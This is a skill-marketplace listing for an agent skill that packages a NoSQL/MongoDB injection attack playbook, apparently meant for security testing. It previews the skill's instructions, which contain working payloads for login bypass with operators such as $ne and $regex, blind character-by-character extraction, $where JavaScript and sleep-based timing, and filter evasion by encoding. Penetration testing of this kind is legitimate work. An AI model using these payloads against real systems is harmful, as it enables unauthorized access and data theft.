nosql-injection
NoSQL injection / MongoDB operator injection attack playbook.
Skill by langbyyi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/langbyyi-nosql-injection
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: backend
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/nosql-injection
What's inside
- Skill name
nosql-injection- Description
- NoSQL injection / MongoDB operator injection attack playbook. Use when parameters or JSON bodies may reach MongoDB, CouchDB, Elasticsearch-style query DSL, JSON query filters, $where JavaScript, GraphQL-to-NoSQL resolvers, Redis, or when user input flows into a NoSQL query builder. Covers operator injection ($ne/$gt/$regex/$where), blind NoSQL injection, type confusion, array/key manipulation, authentication bypass, and WAF/filter evasion.
- License
- Apache-2.0
- Instructions
- 193 lines in SKILL.md · view on GitHub
Files (1)
- SKILL.md
SKILL.md (first lines)
# SKILL: NoSQL Injection — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: NoSQL injection differs from SQLi — no SQL grammar, no UNION. The core bug is **passing objects/operators where the app expects scalars**. Confirm with **differential evidence** (baseline vs mutated), never single-shot.
## 0. QUICK START
### First-pass probe set (send as JSON body or URL-encoded)
| Situation | Payload | Expected signal |
|---|---|---|
| Login (string field) | `{"username":{"$ne":""},"password":{"$ne":""}}` | Authenticated with no valid creds → vulnerable |
| Login (password only) | `{"password":{"$ne":""}}` | Same |
| Search/ID (numeric) | `{"id":{"$gt":0}}` or `{"id":{"$ne":1}}` | Returns extra rows |
| Regex filter | `{"name":{"$regex":".*"}}` | Matches everything |
| Boolean auth | `{"$where":"this.password.length>0"}` | JS eval surface |
| Type confusion | send `"1"` as `{"id":1}` vs `{"id":[1]}` | Different results = coercion |
**Confirmed = differential**: mutated request returns **different** status/count/body than baseline, and the difference is explainable only by the operator being interpreted.
---
## 1. DETECTION — WHERE NoSQL INJECTION HIDES
NoSQLi is usually found by **behavioral differences**, not errors:
| Surface | How to probe |
|---|---|
| Login / password reset | Send `$ne` object in username field |
| Search / filter / sort | Send `$regex`, `$gt`, `$lt` in query param |
| Tenant / org filters | Send `$ne` in tenant_id — cross-tenant read |
| Price / quantity / coupon | Send object type — manipulation |
| Admin list APIs | Send `$ne` to bypass ownership filter |
| GraphQL resolvers | Mutation args → NoSQL query builder |
| **Headers** | X-Forwarded-For, User-Agent, Cookie → session lookup |
**Key difference from SQLi**: the payload is often **valid JSON structure**, not a string. If the endpoint rejects malformed JSON but accepts `{"field":{"$ne":""}}`, that's the signal.
---
## 2. OPERATOR INJECTION — THE CORE BUG
Attackers inject **MongoDB query operators** into fields the app treats as scalars:
### Authentication bypass
```json
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$exists": true}, "password": {"$exists": true}}
```
### Data extraction / filter bypass
```json
{"id": {"$ne": 1}} // everything except id=1
{"id": {"$gt": 0}} // all positive ids
{"email": {"$regex": ".*@.*"}} // match pattern
{"price": {"$lt": 100}} // pricing abuse
{"role": {"$ne": "admin"}} // non-admin users
{"userId": {"$in": [1,2,3]}} // enumerated set
```
### `$where` — JavaScript evaluation (highest impact)
```json
{"$where": "this.password.length > 0"}
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && this.role == 'admin'"}
```
---
## 3. BLIND NoSQL INJECTION
When no data is reflected, use **response-differential inference**:
### Boolean-based (true/false response differ)
```json
{"username": {"$regex": "^a"}, "password": {"$ne": ""}} // true if username starts with 'a'
{"username": {"$regex": "^b"}, "password": {"$ne": ""}} // false branch
```
### Regex oracle — character-by-character extraction
```
$regex ^p → true
$regex ^pa → true
$regex ^pb → false → next char is 'a'
...iterate charset per position...
```
Combine with `$regex` and a charset to extract field values without reflection.
### Time-based (response delay)
```json
{"username": {"$where": "sleep(5000)"}}
{"$where": "this.email.match(/a/) && sleep(5000)"}
```
---
## 4. TYPE CONFUSION & ARRAY COERCION
App expects `{"id": 1}` but accepts alternative types:
| Trick | Effect |
|---|---|
| `{"id": [1, 2]}` | `$in` semantics — match multiple |
| `{"id": {"$gt": 0}}` | operator object in numeric field |
| `{"active": 1}` vs `{"active": "1"}` | string/number coercion bypass |
| `{"field": null}` | bypass null-check logic |
| `{"field": {"$exists": false}}` | match docs where field absent |
| Duplicate keys `{"a":1,"a":{"$ne":""}}` | parser takes last value |
---
## 5. FILTER / WAF EVASION
When `$` is stripped or `$ne` is blocked:
| Blocked | Bypass |
|---|---|
| `$` in key | URL-encode `%24ne`; double-encode `%2524ne`; use `{"$gt": ""}` alternatives |From langbyyi/CyberStrikeAI-SRC, Apache-2.0.
More from langbyyi/CyberStrikeAI-SRC
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
csrf-cross-site-request-forgery
langbyyi
CSRF testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
clickjacking
langbyyi
Clickjacking playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
crlf-injection
langbyyi
CRLF injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cors-cross-origin-misconfiguration
langbyyi
CORS misconfiguration testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
cmdi-command-injection
langbyyi
Command injection playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
dependency-confusion
langbyyi
Supply-chain testing via package-manager dependency confusion.
SkillAFreshness: A★ 131Claude Code +9
Compare and alternatives
Featured in
Signals
- Stars
- 131
- Forks
- 11
- Open issues
- 0
- Last commit (this folder)
- Aug 6, 2026 (2 months ago)
- Last release
- Oct 16, 2026 (11 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- Repository
- github.com/langbyyi/CyberStrikeAI-SRC
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from langbyyi
- 0.735score
burp-mcp-vuln-check
langbyyi
Automate low-impact web vulnerability verification through Burp MCP.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
browser-assisted-hunting
langbyyi
浏览器交互式挖洞:登录态操作、双账号越权对比、SPA渲染取证、DOM XSS确认、验证码登录、前端隐藏功能绕过。 Use when CLI/HTTP evidence is insufficient and the target needs real browser interaction to confirm.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
api-sec
langbyyi
Entry P1 category router for API security.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
authbypass-authentication-flaws
langbyyi
Authentication bypass testing playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
ssti-server-side-template-injection
langbyyi
SSTI playbook.
SkillAFreshness: A★ 131Claude Code +9 - 0.730score
business-logic-vulnerabilities
langbyyi
Business logic vulnerability playbook.
SkillAFreshness: A★ 131Claude Code +9
Cite this page
nosql-injection skill. Agent Mart. https://agentmart.dev/skills/langbyyi-nosql-injection (last updated 2026-10-24)